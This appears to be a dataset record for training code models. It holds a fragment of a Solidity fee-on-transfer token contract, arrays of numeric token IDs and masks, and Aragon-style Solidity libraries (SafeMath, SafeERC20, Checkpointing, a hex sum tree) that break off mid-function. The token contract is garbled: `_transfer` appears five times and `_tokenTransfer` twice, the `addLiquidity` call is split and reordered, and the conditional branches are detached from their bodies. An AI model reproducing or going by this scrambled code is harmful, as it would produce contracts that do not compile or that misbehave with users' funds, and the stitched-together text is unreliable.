(_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function withdraw() onlyOwner public { uint balance = address(this).balance; msg.sender.transfer(balance); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= minNumTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minNumTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= minNumTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minNumTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= minNumTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minNumTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= minNumTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minNumTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from != owner() && !tradingEnabled) { require(tradingEnabled, "Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= minNumTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = minNumTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 threeQuarters = contractTokenBalance.div(4).mul(3); uint256 remainingQuarter = contractTokenBalance.sub(threeQuarters); uint256 initialBalance = address(this).balance; swapTokensForEth(threeQuarters); uint256 newBalance = address(this).balance.sub(initialBalance); uint256 liquidityToAdd = newBalance.div(3); addLiquidity(remainingQuarter, liquidityToAdd); donationWalletAddress.transfer(address(this).balance); emit SwapAndLiquify(threeQuarters, newBalance, remainingQuarter); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); _transferToExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); _transferBothExcluded(sender, recipient, amount); _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } } else if (!_isExcluded[sender] && _isExcluded[recipient]) { } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { } else if (_isExcluded[sender] && _isExcluded[recipient]) { } else { function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
16,204,017
[ 1, 11890, 5034, 3238, 2078, 16266, 273, 6437, 31, 225, 2254, 5034, 3238, 13481, 2173, 16936, 273, 404, 225, 1728, 26, 225, 30116, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 673, 51, 5315, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 31, 203, 565, 1758, 8526, 3238, 389, 24602, 31, 203, 203, 565, 1758, 8843, 429, 3238, 16837, 31, 203, 203, 565, 2254, 5034, 1071, 2198, 395, 1383, 13649, 31, 203, 565, 2254, 5034, 1071, 2198, 395, 1383, 25255, 31, 203, 565, 2254, 5034, 1071, 2198, 395, 1383, 1380, 31, 203, 565, 2254, 5034, 1071, 943, 3605, 395, 1383, 1380, 31, 203, 203, 565, 2254, 5034, 1071, 8586, 48, 18988, 24237, 273, 19387, 2787, 9449, 380, 1728, 636, 26, 380, 1728, 636, 29, 31, 203, 565, 2254, 5034, 1071, 4075, 5349, 3088, 1283, 273, 6969, 2787, 9449, 380, 1728, 636, 26, 380, 1728, 636, 29, 31, 203, 565, 2254, 5034, 1071, 13667, 310, 273, 890, 2787, 9449, 380, 1728, 636, 26, 380, 1728, 636, 29, 31, 203, 203, 565, 2254, 5034, 1071, 4075, 5349, 5147, 273, 6969, 31, 203, 565, 2254, 5034, 1071, 11591, 5147, 2 ]
pragma solidity ^0.5.17; // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } /* * SPDX-License-Identifier: MIT */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/SafeERC20.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library SafeERC20 { /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransfer(IERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( _token.transfer.selector, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeApprove(IERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(address(_token), approveCallData); } function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } } library PctHelpers { using SafeMath for uint256; uint256 internal constant PCT_BASE = 10000; // ‱ (1 / 10,000) function isValid(uint16 _pct) internal pure returns (bool) { return _pct <= PCT_BASE; } function pct(uint256 self, uint16 _pct) internal pure returns (uint256) { return self.mul(uint256(_pct)) / PCT_BASE; } function pct256(uint256 self, uint256 _pct) internal pure returns (uint256) { return self.mul(_pct) / PCT_BASE; } function pctIncrease(uint256 self, uint16 _pct) internal pure returns (uint256) { // No need for SafeMath: for addition note that `PCT_BASE` is lower than (2^256 - 2^16) return self.mul(PCT_BASE + uint256(_pct)) / PCT_BASE; } } /** * @title Checkpointing - Library to handle a historic set of numeric values */ library Checkpointing { uint256 private constant MAX_UINT192 = uint256(uint192(-1)); string private constant ERROR_VALUE_TOO_BIG = "CHECKPOINT_VALUE_TOO_BIG"; string private constant ERROR_CANNOT_ADD_PAST_VALUE = "CHECKPOINT_CANNOT_ADD_PAST_VALUE"; /** * @dev To specify a value at a given point in time, we need to store two values: * - `time`: unit-time value to denote the first time when a value was registered * - `value`: a positive numeric value to registered at a given point in time * * Note that `time` does not need to refer necessarily to a timestamp value, any time unit could be used * for it like block numbers, terms, etc. */ struct Checkpoint { uint64 time; uint192 value; } /** * @dev A history simply denotes a list of checkpoints */ struct History { Checkpoint[] history; } /** * @dev Add a new value to a history for a given point in time. This function does not allow to add values previous * to the latest registered value, if the value willing to add corresponds to the latest registered value, it * will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function add(History storage self, uint64 _time, uint256 _value) internal { require(_value <= MAX_UINT192, ERROR_VALUE_TOO_BIG); _add192(self, _time, uint192(_value)); } /** * @dev Fetch the latest registered value of history, it will return zero if there was no value registered * @param self Checkpoints history to be queried */ function getLast(History storage self) internal view returns (uint256) { uint256 length = self.history.length; if (length > 0) { return uint256(self.history[length - 1].value); } return 0; } /** * @dev Fetch the most recent registered past value of a history based on a given point in time that is not known * how recent it is beforehand. It will return zero if there is no registered value or if given time is * previous to the first registered value. * It uses a binary search. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function get(History storage self, uint64 _time) internal view returns (uint256) { return _binarySearch(self, _time); } /** * @dev Fetch the most recent registered past value of a history based on a given point in time. It will return zero * if there is no registered value or if given time is previous to the first registered value. * It uses a linear search starting from the end. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function getRecent(History storage self, uint64 _time) internal view returns (uint256) { return _backwardsLinearSearch(self, _time); } /** * @dev Private function to add a new value to a history for a given point in time. This function does not allow to * add values previous to the latest registered value, if the value willing to add corresponds to the latest * registered value, it will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function _add192(History storage self, uint64 _time, uint192 _value) private { uint256 length = self.history.length; if (length == 0 || self.history[self.history.length - 1].time < _time) { // If there was no value registered or the given point in time is after the latest registered value, // we can insert it to the history directly. self.history.push(Checkpoint(_time, _value)); } else { // If the point in time given for the new value is not after the latest registered value, we must ensure // we are only trying to update the latest value, otherwise we would be changing past data. Checkpoint storage currentCheckpoint = self.history[length - 1]; require(_time == currentCheckpoint.time, ERROR_CANNOT_ADD_PAST_VALUE); currentCheckpoint.value = _value; } } /** * @dev Private function to execute a backwards linear search to find the most recent registered past value of a * history based on a given point in time. It will return zero if there is no registered value or if given time * is previous to the first registered value. Note that this function will be more suitable when we already know * that the time used to index the search is recent in the given history. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _backwardsLinearSearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } uint256 index = length - 1; Checkpoint storage checkpoint = self.history[index]; while (index > 0 && checkpoint.time > _time) { index--; checkpoint = self.history[index]; } return checkpoint.time > _time ? 0 : uint256(checkpoint.value); } /** * @dev Private function execute a binary search to find the most recent registered past value of a history based on * a given point in time. It will return zero if there is no registered value or if given time is previous to * the first registered value. Note that this function will be more suitable when don't know how recent the * time used to index may be. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _binarySearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } // If the requested time is equal to or after the time of the latest registered value, return latest value uint256 lastIndex = length - 1; if (_time >= self.history[lastIndex].time) { return uint256(self.history[lastIndex].value); } // If the requested time is previous to the first registered value, return zero to denote missing checkpoint if (_time < self.history[0].time) { return 0; } // Execute a binary search between the checkpointed times of the history uint256 low = 0; uint256 high = lastIndex; while (high > low) { // No need for SafeMath: for this to overflow array size should be ~2^255 uint256 mid = (high + low + 1) / 2; Checkpoint storage checkpoint = self.history[mid]; uint64 midTime = checkpoint.time; if (_time > midTime) { low = mid; } else if (_time < midTime) { // No need for SafeMath: high > low >= 0 => high >= 1 => mid >= 1 high = mid - 1; } else { return uint256(checkpoint.value); } } return uint256(self.history[low].value); } } /** * @title HexSumTree - Library to operate checkpointed 16-ary (hex) sum trees. * @dev A sum tree is a particular case of a tree where the value of a node is equal to the sum of the values of its * children. This library provides a set of functions to operate 16-ary sum trees, i.e. trees where every non-leaf * node has 16 children and its value is equivalent to the sum of the values of all of them. Additionally, a * checkpointed tree means that each time a value on a node is updated, its previous value will be saved to allow * accessing historic information. * * Example of a checkpointed binary sum tree: * * CURRENT PREVIOUS * * Level 2 100 ---------------------------------------- 70 * ______|_______ ______|_______ * / \ / \ * Level 1 34 66 ------------------------- 23 47 * _____|_____ _____|_____ _____|_____ _____|_____ * / \ / \ / \ / \ * Level 0 22 12 53 13 ----------- 22 1 17 30 * */ library HexSumTree { using SafeMath for uint256; using Checkpointing for Checkpointing.History; string private constant ERROR_UPDATE_OVERFLOW = "SUM_TREE_UPDATE_OVERFLOW"; string private constant ERROR_KEY_DOES_NOT_EXIST = "SUM_TREE_KEY_DOES_NOT_EXIST"; string private constant ERROR_SEARCH_OUT_OF_BOUNDS = "SUM_TREE_SEARCH_OUT_OF_BOUNDS"; string private constant ERROR_MISSING_SEARCH_VALUES = "SUM_TREE_MISSING_SEARCH_VALUES"; // Constants used to perform tree computations // To change any the following constants, the following relationship must be kept: 2^BITS_IN_NIBBLE = CHILDREN // The max depth of the tree will be given by: BITS_IN_NIBBLE * MAX_DEPTH = 256 (so in this case it's 64) uint256 private constant CHILDREN = 16; uint256 private constant BITS_IN_NIBBLE = 4; // All items are leaves, inserted at height or level zero. The root height will be increasing as new levels are inserted in the tree. uint256 private constant ITEMS_LEVEL = 0; // Tree nodes are identified with a 32-bytes length key. Leaves are identified with consecutive incremental keys // starting with 0x0000000000000000000000000000000000000000000000000000000000000000, while non-leaf nodes' keys // are computed based on their level and their children keys. uint256 private constant BASE_KEY = 0; // Timestamp used to checkpoint the first value of the tree height during initialization uint64 private constant INITIALIZATION_INITIAL_TIME = uint64(0); /** * @dev The tree is stored using the following structure: * - nodes: A mapping indexed by a pair (level, key) with a history of the values for each node (level -> key -> value). * - height: A history of the heights of the tree. Minimum height is 1, a root with 16 children. * - nextKey: The next key to be used to identify the next new value that will be inserted into the tree. */ struct Tree { uint256 nextKey; Checkpointing.History height; mapping (uint256 => mapping (uint256 => Checkpointing.History)) nodes; } /** * @dev Search params to traverse the tree caching previous results: * - time: Point in time to query the values being searched, this value shouldn't change during a search * - level: Level being analyzed for the search, it starts at the level under the root and decrements till the leaves * - parentKey: Key of the parent of the nodes being analyzed at the given level for the search * - foundValues: Number of values in the list being searched that were already found, it will go from 0 until the size of the list * - visitedTotal: Total sum of values that were already visited during the search, it will go from 0 until the tree total */ struct SearchParams { uint64 time; uint256 level; uint256 parentKey; uint256 foundValues; uint256 visitedTotal; } /** * @dev Initialize tree setting the next key and first height checkpoint */ function init(Tree storage self) internal { self.height.add(INITIALIZATION_INITIAL_TIME, ITEMS_LEVEL + 1); self.nextKey = BASE_KEY; } /** * @dev Insert a new item to the tree at given point in time * @param _time Point in time to register the given value * @param _value New numeric value to be added to the tree * @return Unique key identifying the new value inserted */ function insert(Tree storage self, uint64 _time, uint256 _value) internal returns (uint256) { // As the values are always stored in the leaves of the tree (level 0), the key to index each of them will be // always incrementing, starting from zero. Add a new level if necessary. uint256 key = self.nextKey++; _addLevelIfNecessary(self, key, _time); // If the new value is not zero, first set the value of the new leaf node, then add a new level at the top of // the tree if necessary, and finally update sums cached in all the non-leaf nodes. if (_value > 0) { _add(self, ITEMS_LEVEL, key, _time, _value); _updateSums(self, key, _time, _value, true); } return key; } /** * @dev Set the value of a leaf node indexed by its key at given point in time * @param _time Point in time to set the given value * @param _key Key of the leaf node to be set in the tree * @param _value New numeric value to be set for the given key */ function set(Tree storage self, uint256 _key, uint64 _time, uint256 _value) internal { require(_key < self.nextKey, ERROR_KEY_DOES_NOT_EXIST); // Set the new value for the requested leaf node uint256 lastValue = getItem(self, _key); _add(self, ITEMS_LEVEL, _key, _time, _value); // Update sums cached in the non-leaf nodes. Note that overflows are being checked at the end of the whole update. if (_value > lastValue) { _updateSums(self, _key, _time, _value - lastValue, true); } else if (_value < lastValue) { _updateSums(self, _key, _time, lastValue - _value, false); } } /** * @dev Update the value of a non-leaf node indexed by its key at given point in time based on a delta * @param _key Key of the leaf node to be updated in the tree * @param _time Point in time to update the given value * @param _delta Numeric delta to update the value of the given key * @param _positive Boolean to tell whether the given delta should be added to or subtracted from the current value */ function update(Tree storage self, uint256 _key, uint64 _time, uint256 _delta, bool _positive) internal { require(_key < self.nextKey, ERROR_KEY_DOES_NOT_EXIST); // Update the value of the requested leaf node based on the given delta uint256 lastValue = getItem(self, _key); uint256 newValue = _positive ? lastValue.add(_delta) : lastValue.sub(_delta); _add(self, ITEMS_LEVEL, _key, _time, newValue); // Update sums cached in the non-leaf nodes. Note that overflows is being checked at the end of the whole update. _updateSums(self, _key, _time, _delta, _positive); } /** * @dev Search a list of values in the tree at a given point in time. It will return a list with the nearest * high value in case a value cannot be found. This function assumes the given list of given values to be * searched is in ascending order. In case of searching a value out of bounds, it will return zeroed results. * @param _values Ordered list of values to be searched in the tree * @param _time Point in time to query the values being searched * @return keys List of keys found for each requested value in the same order * @return values List of node values found for each requested value in the same order */ function search(Tree storage self, uint256[] memory _values, uint64 _time) internal view returns (uint256[] memory keys, uint256[] memory values) { require(_values.length > 0, ERROR_MISSING_SEARCH_VALUES); // Throw out-of-bounds error if there are no items in the tree or the highest value being searched is greater than the total uint256 total = getRecentTotalAt(self, _time); // No need for SafeMath: positive length of array already checked require(total > 0 && total > _values[_values.length - 1], ERROR_SEARCH_OUT_OF_BOUNDS); // Build search params for the first iteration uint256 rootLevel = getRecentHeightAt(self, _time); SearchParams memory searchParams = SearchParams(_time, rootLevel.sub(1), BASE_KEY, 0, 0); // These arrays will be used to fill in the results. We are passing them as parameters to avoid extra copies uint256 length = _values.length; keys = new uint256[](length); values = new uint256[](length); _search(self, _values, searchParams, keys, values); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree */ function getTotal(Tree storage self) internal view returns (uint256) { uint256 rootLevel = getHeight(self); return getNode(self, rootLevel, BASE_KEY); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree, at a given point in time * It uses a binary search for the root node, a linear one for the height. * @param _time Point in time to query the sum of all the items (leaves) stored in the tree */ function getTotalAt(Tree storage self, uint64 _time) internal view returns (uint256) { uint256 rootLevel = getRecentHeightAt(self, _time); return getNodeAt(self, rootLevel, BASE_KEY, _time); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree, at a given point in time * It uses a linear search starting from the end. * @param _time Point in time to query the sum of all the items (leaves) stored in the tree */ function getRecentTotalAt(Tree storage self, uint64 _time) internal view returns (uint256) { uint256 rootLevel = getRecentHeightAt(self, _time); return getRecentNodeAt(self, rootLevel, BASE_KEY, _time); } /** * @dev Tell the value of a certain leaf indexed by a given key * @param _key Key of the leaf node querying the value of */ function getItem(Tree storage self, uint256 _key) internal view returns (uint256) { return getNode(self, ITEMS_LEVEL, _key); } /** * @dev Tell the value of a certain leaf indexed by a given key at a given point in time * It uses a binary search. * @param _key Key of the leaf node querying the value of * @param _time Point in time to query the value of the requested leaf */ function getItemAt(Tree storage self, uint256 _key, uint64 _time) internal view returns (uint256) { return getNodeAt(self, ITEMS_LEVEL, _key, _time); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of */ function getNode(Tree storage self, uint256 _level, uint256 _key) internal view returns (uint256) { return self.nodes[_level][_key].getLast(); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair at a given point in time * It uses a binary search. * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of * @param _time Point in time to query the value of the requested node */ function getNodeAt(Tree storage self, uint256 _level, uint256 _key, uint64 _time) internal view returns (uint256) { return 